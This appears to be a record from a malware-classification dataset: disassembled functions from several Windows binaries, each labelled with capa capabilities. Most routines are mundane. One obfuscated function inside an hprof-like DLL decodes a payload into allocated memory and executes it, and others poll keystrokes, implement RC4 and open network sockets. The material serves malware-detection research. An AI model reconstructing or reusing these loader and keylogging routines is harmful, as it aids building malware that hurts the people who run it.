joyce8/EMBER2024-capa huggingface dataset:
Function at 0x717066
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.007170e5
jae 0x717072
xor ecx, ecx
call fcn.007170e5
jae 0x71709c
xor eax, eax
call fcn.007170e5
jae 0x7170ad
mov al, 0x10
call fcn.007170e5
adc al, al
jae 0x71708e
jne 0x7170da
stosb byte es:[edi], al
jmp 0x717073
call fcn.007170f1
dec ecx
loop 0x7170b9
mov eax, ebp
call fcn.007170ef
jmp 0x7170db
lodsb al, byte [esi]
shr eax, 1
je 0x717101
adc ecx, 2
mov ebp, eax
jmp 0x7170db
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.007170ef
cmp eax, 0x7d00
jae 0x7170d9
cmp eax, 0x500
jae 0x7170da
cmp eax, 0x7f
ja 0x7170db
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x717073
pop ebp
ret 8
Function at 0x10001130
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push esi
push edi
push dword [esp + 0x14]
call fcn.1000e3e0
mov esi, eax
add esp, 4
test esi, esi
jns 0x10001161
push 0x44d
push str.hprof_check.c
push str.fd_0
push 0
push 1
call fcn.10005090
add esp, 0x14
push 0xffffffffffffffff
push 0xffffffffffffffff
push esi
call fcn.1000e430
mov ebx, eax
add esp, 0xc
mov ecx, ebx
and ecx, edx
cmp ecx, 0xffffffff
jne 0x10001194
push 0x44f
push str.hprof_check.c
push str.Cannot_md_seek___to_end_of_file
push 0
push 1
call fcn.10005090
add esp, 0x14
cmp ebx, 0x200
jg 0x100011b7
push 0x451
push str.hprof_check.c
push str.__jint_nbytes__512
push 0
push 1
call fcn.10005090
add esp, 0x14
push 0
push 0
push esi
call fcn.1000e430
add esp, 0xc
or eax, edx
je 0x100011e3
push 0x453
push str.hprof_check.c
push str.Cannot_md_seek___to_start_of_file
push 0
push 1
call fcn.10005090
add esp, 0x14
lea eax, [ebx + 1]
push eax
call fcn.10016960
mov edi, eax
add esp, 4
test edi, edi
jne 0x1000120f
push 0x456
push str.hprof_check.c
push str.image_NULL
push eax
push 1
call fcn.10005090
add esp, 0x14
push ebp
push ebx
push edi
push esi
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
mov ebp, eax
add esp, 0xc
test ebp, ebp
jg 0x1000123c
push 0x45b
push str.hprof_check.c
push str.System_read_failed.
push 0
push 1
call fcn.10005090
add esp, 0x14
cmp ebx, ebp
pop ebp
je 0x1000125c
push 0x45d
push str.hprof_check.c
push str.__jint_nbytes_nread
push 0
push 1
call fcn.10005090
add esp, 0x14
push esi
call fcn.1000e010
add esp, 4
test edi, edi
jne 0x10001280
mov eax, dword [esp + 0x14]
push eax
push str.No_file_image:__s_n
call fcn.10002c50
add esp, 8
pop edi
pop esi
pop ebx
pop ecx
ret
mov eax, dword [0x1001f83c]
mov ecx, dword [eax + 0x10]
mov eax, edi
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100012b0
test dl, dl
je 0x100012ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100012b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x10001290
xor eax, eax
jmp 0x100012b5
sbb eax, eax
or eax, 1
test eax, eax
je 0x100012d4
push 0x474
push str.hprof_check.c
push str.strcmp__char_p__gdata__header_0
push 0
push 1
call fcn.10005090
add esp, 0x14
mov eax, dword [esp + 0x14]
push edi
push ebx
push eax
push str.Filename_s__nbytes_d__header__s__n
call fcn.10002c50
mov ecx, edi
add esp, 0x10
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100012f0
sub ecx, edx
lea esi, [ecx + edi]
lea eax, [esi + 1]
sub eax, ecx
sub eax, edi
lea ecx, [esp + eax + 0xb]
mov eax, dword [esi + 1]
mov dword [ecx], eax
push dword [esp + 0xc]
call fcn.1000e2a0
add esp, 4
cmp eax, 4
je 0x10001338
push 0x479
push str.hprof_check.c
push str.idsizesizeof_HprofId_
push 0
push 1
call fcn.10005090
add esp, 0x14
mov eax, dword [esi + 5]
push eax
call fcn.1000e2a0
mov eax, dword [esi + 9]
add esi, 0xd
push eax
call fcn.1000e2a0
mov eax, edi
sub eax, esi
add eax, ebx
push eax
push esi
call fcn.10002eb0
push ebx
push eax
push str._d_total_records_found_in__d_bytes_n
call fcn.10002c50
push edi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
add esp, 0x20
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x10002eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x10002ebf
pop dword [ebp - 0x20]
mov eax, 0x4050e9b1
sub eax, 0x3050baf2
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xcadac25c
sub dword [ebp - 0x30], 0x7c887d11
mov dword [ebp - 0x2c], 0xd7b0b88f
sub dword [ebp - 0x2c], 0xa57d6c4a
mov dword [ebp - 0x28], 0xc99a367d
add dword [ebp - 0x28], 0x82b20db1
mov dword [ebp - 0x24], 0x8be2dbe7
sub dword [ebp - 0x24], 0x8be2dbe7
lea eax, [ebp - 0x30]
push eax
mov eax, 0x188f24e3
add eax, 0xf7726b59
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xf21b7c51
add dword [ebp - 0x30], 0x8256ed05
mov dword [ebp - 0x2c], 0xc710b9d1
add dword [ebp - 0x2c], 0x7a5ba7a4
mov dword [ebp - 0x28], 0xadb447b1
add dword [ebp - 0x28], 0xb5bb24bb
mov dword [ebp - 0x24], 0xc3915079
sub dword [ebp - 0x24], 0xc3915079
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x313841ba
sub eax, 0x2136b182
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x37a8e
push 0
call eax
mov ecx, 0x491f
xor edi, edi
add edi, eax
mov edx, 0x46715daf
sub edx, 0x366f35af
add edx, dword [ebp - 0x20]
mov esi, 0xb2fad30e
add esi, 0xb36daea1
xor dword [ebp - 0x1c], ebx
mov ebx, dword [edx]
add dword [ebp - 0x18], eax
add ebx, esi
mov dword [ebp - 8], 0x2fdc6619
mov dword [edi], ebx
xor dword [ebp - 0x18], esi
add edi, 0x9c33014b
add edi, 0x63ccfeb9
add edx, 4
loop 0x10002fdd
add eax, 0x1174f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xf72e09a0
add ecx, 0x18d1f660
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x10007f00
Capabilities:
Delete file

Disassembly:
sub esp, 0x20
mov eax, dword [0x1001f10c]
xor eax, esp
mov dword [esp + 0x1c], eax
push esi
mov esi, dword [esp + 0x28]
mov dword [esp + 0x14], esi
push dword [esi]
call fcn.1000e3d0
add esp, 4
test eax, eax
js 0x10008044
push eax
call fcn.1000e010
add esp, 4
call fcn.1000e280
mov esi, dword [esi]
mov ecx, esi
mov dword [esp + 8], eax
mov dword [esp + 4], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10007f46
sub ecx, edx
push edi
lea eax, [ecx + 0x40]
push eax
mov dword [esp + 0x14], eax
call fcn.10016960
mov ecx, dword [0x1001f83c]
add esp, 4
mov byte [esp + 0x1c], 0
mov dword [esp + 0x14], eax
cmp byte [ecx + 0x38], 0x62
je 0x10008006
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + str..txt]
lea ecx, [ecx + 1]
mov byte [esp + ecx + 0x1b], al
test al, al
jne 0x10007f80
push ebp
push 0x2e
push esi
call sub.VCRUNTIME140.dll_strrchr
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x10008005
push ebx
mov ebx, ebp
xor edi, edi
sub ebx, str..txt
nop
mov al, byte [ebx + edi + str..txt]
test al, al
je 0x10008000
movsx eax, al
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
movsx ecx, byte [edi + str..txt]
mov esi, eax
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
add esp, 8
cmp eax, esi
jne 0x10008000
inc edi
cmp edi, 4
jl 0x10007fb0
lea edx, [esp + 0x24]
mov ecx, ebp
sub edx, ebp
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10007ff0
mov byte [ebp], al
mov esi, dword [esp + 0x10]
pop ebx
pop ebp
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x10]
push esi
push str._s._d_s
push dword [esp + 0x20]
push edi
call fcn.1000dee0
mov eax, dword [esp + 0x30]
push esi
mov dword [eax], edi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov eax, dword [0x1001f83c]
push dword [eax + 0x80]
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0x20
pop edi
mov ecx, dword [esp + 0x20]
pop esi
xor ecx, esp
call fcn.10017139
add esp, 0x20
ret
Function at 0x1000d330
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x20000
call fcn.10016960
mov edi, dword [esp + 0x1c]
add esp, 4
mov ebp, dword [esp + 0x20]
mov ebx, eax
nop dword [eax + eax]
mov ecx, 0x20000
cmp edi, ecx
cmovl ecx, edi
push ecx
push ebx
push dword [esp + 0x1c]
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
mov esi, eax
add esp, 0xc
test esi, esi
js 0x1000d38d
je 0x1000d3a3
jle 0x1000d37b
push esi
push ebx
call ebp
add esp, 8
sub edi, esi
test edi, edi
jg 0x1000d350
push ebx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
push dword [eax]
push esi
push str.read
call fcn.1000ce90
add esp, 0xc
test edi, edi
jle 0x1000d3c5
test esi, esi
jne 0x1000d3c5
push 0x76e
push str.hprof_io.c
push str.File_size_is_smaller_than_bytes_written
push esi
push 1
call fcn.10005090
add esp, 0x14
push ebx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x1000de70
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x1001f10c]
xor eax, esp
mov dword [esp + 0x190], eax
mov eax, dword [esp + 0x19c]
sub eax, 0
je 0x1000deb4
sub eax, 1
jne 0x1000dec4
mov eax, dword [esp + 0x198]
mov dword [0x1001f838], eax
lea eax, [esp]
push eax
push 2
call dword [sym.imp.wsock32.dll_WSAStartup]
mov dword [0x1001f3f0], eax
jmp 0x1000dec4
call dword [sym.imp.wsock32.dll_WSACleanup]
mov dword [0x1001f838], 0
mov ecx, dword [esp + 0x190]
mov eax, 1
xor ecx, esp
call fcn.10017139
add esp, 0x194
ret 0xc

Function at 0x1000e020
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
sub esp, 0x14
mov eax, dword [0x1001f10c]
xor eax, esp
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.wsock32.dll_gethostbyname]
test eax, eax
jne 0x1000e04f
or eax, 0xffffffff
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.10017139
add esp, 0x14
ret
xorps xmm0, xmm0
movlpd qword [esp + 8], xmm0
mov eax, dword [eax + 0xc]
push esi
push dword [esp + 0x20]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0xc], eax
call dword [sym.imp.wsock32.dll_htons]
push 0
mov word [esp + 0xa], ax
mov eax, 2
push 1
push eax
mov word [esp + 0x10], ax
call dword [sym.imp.wsock32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000e0a9
push 0x10
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.wsock32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000e0bb
push esi
call dword [sym.imp.wsock32.dll_closesocket]
xor eax, eax
pop esi
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.10017139
add esp, 0x14
ret
mov ecx, dword [esp + 0x14]
mov eax, esi
pop esi
xor ecx, esp
call fcn.10017139
add esp, 0x14
ret
Function at 0x10014d90
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x1001f83c]
push dword [esp + 4]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x234]
call eax
test eax, eax
je 0x10014dd2
push 0x51b
push str.hprof_util.c
push str.Unable_to_get_necessary_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x10016400
Capabilities:
Terminate process

Disassembly:
mov edx, dword [esp + 4]
xorps xmm0, xmm0
push edx
movups xmmword [edx], xmm0
mov eax, dword [0x1001f83c]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x22c]
call eax
test eax, eax
je 0x10016449
push 0x50e
push str.hprof_util.c
push str.Unable_to_get_potential_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret
Function at 0x401ca3
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.00401e53
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x401da1
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x401d44
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x401d87
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x401d5b
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x401d76
test al, 0x40
je 0x401d6d
mov ecx, dword [edi + 0x20]
jmp 0x401d74
test al, 0x80
je 0x401d87
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x401d87
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x401d13
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x40b110
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47b31b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0046d99b
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40b192
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046b11a
mov eax, dword [eax]
push 0x4c6210
push eax
call fcn.0045d274
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046dc26
test bl, bl
je 0x40b192
push 0x4c6210
lea ecx, [esp + 0xc]
call fcn.0046e002
push 0x4c9d8c
lea ecx, [esp + 0xc]
call fcn.0046e002
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40b1ce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046dc26
jmp 0x40b299
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40b252
lea edx, [esp + 0x7c]
push 0x4c9d88
push edx
call fcn.0045d274
add esp, 8
test eax, eax
je 0x40b252
lea eax, [esp + 0x7c]
push 0x4c9d84
push eax
call fcn.0045d274
add esp, 8
test eax, eax
je 0x40b252
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b1e2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046dc26
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40ba90
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40baf2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40bb00
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x47b39b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4d1220]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40bc38
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40bb66
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046dc26
xor eax, eax
jmp 0x40bcaf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046ddaf
push esi
lea ecx, [esp + 0xc]
call fcn.0046e03e
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4c9dc4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40bc8d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040ba90
test eax, eax
jne 0x40bc8d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040ba90
test eax, eax
jne 0x40bc8d
lea eax, [esp + 0x14]
push 0x4c9da0
push eax
call fcn.0045e350
mov esi, eax
add esp, 8
test esi, esi
jne 0x40bc6c
lea ecx, [esp + 0x14]
push 0x4c9d9c
push ecx
call fcn.0045e2d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40bc6c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40bc6f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0046dd5f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40bb7e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046dc26
xor eax, eax
jmp 0x40bcaf
mov byte [esi], 0
push 0x4c9d98
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0046dc26
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41d8b0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41d91e
cmp si, 0x69
ja 0x41d91e
add esi, 0xffd0
cmp si, 0x11
je 0x41d8ee
push 0x11
call edi
test ax, ax
jge 0x41d8ee
or esi, 0x2000
cmp si, 0x10
je 0x41d903
push 0x10
call edi
test ax, ax
jge 0x41d903
or esi, 0x4000
cmp si, 0x12
je 0x41d918
push 0x12
call edi
test ax, ax
jge 0x41d918
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41d92b
mov esi, 0xbd
jmp 0x41d8df
cmp si, 0x6e
jne 0x41d938
mov esi, 0xbe
jmp 0x41d8df
cmp si, 0x6f
jne 0x41d8d9
mov esi, 0xbf
jmp 0x41d8df

Function at 0x41efd0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4e2078]
xor edx, edx
cmp eax, edx
jne 0x41eff6
xor eax, eax
mov byte [eax + 0x4e1f78], al
inc eax
cmp eax, 0x100
jl 0x41efde
mov dword [0x4e2078], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4e1f78
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41f087
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41f05a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41f028
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41f100
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41f153
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41f13a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x425b90
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x425d28
cmp ebp, ebx
jle 0x425d28
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x425bee
dec eax
or eax, 0xfffffff8
inc eax
je 0x425bf5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x425c04
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x425c0b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0046d967
add esp, 4
cmp eax, ebx
je 0x425c2c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0046d967
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x425d1e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x425d05
mov al, byte [edx]
cmp al, 0xc0
jbe 0x425cf1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x425ce6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x425cf4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x425cf4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x425c90
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x425c81
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x428d40
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x47ca28
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x428d79
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00475440
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004754c8
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00428e00
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00475505
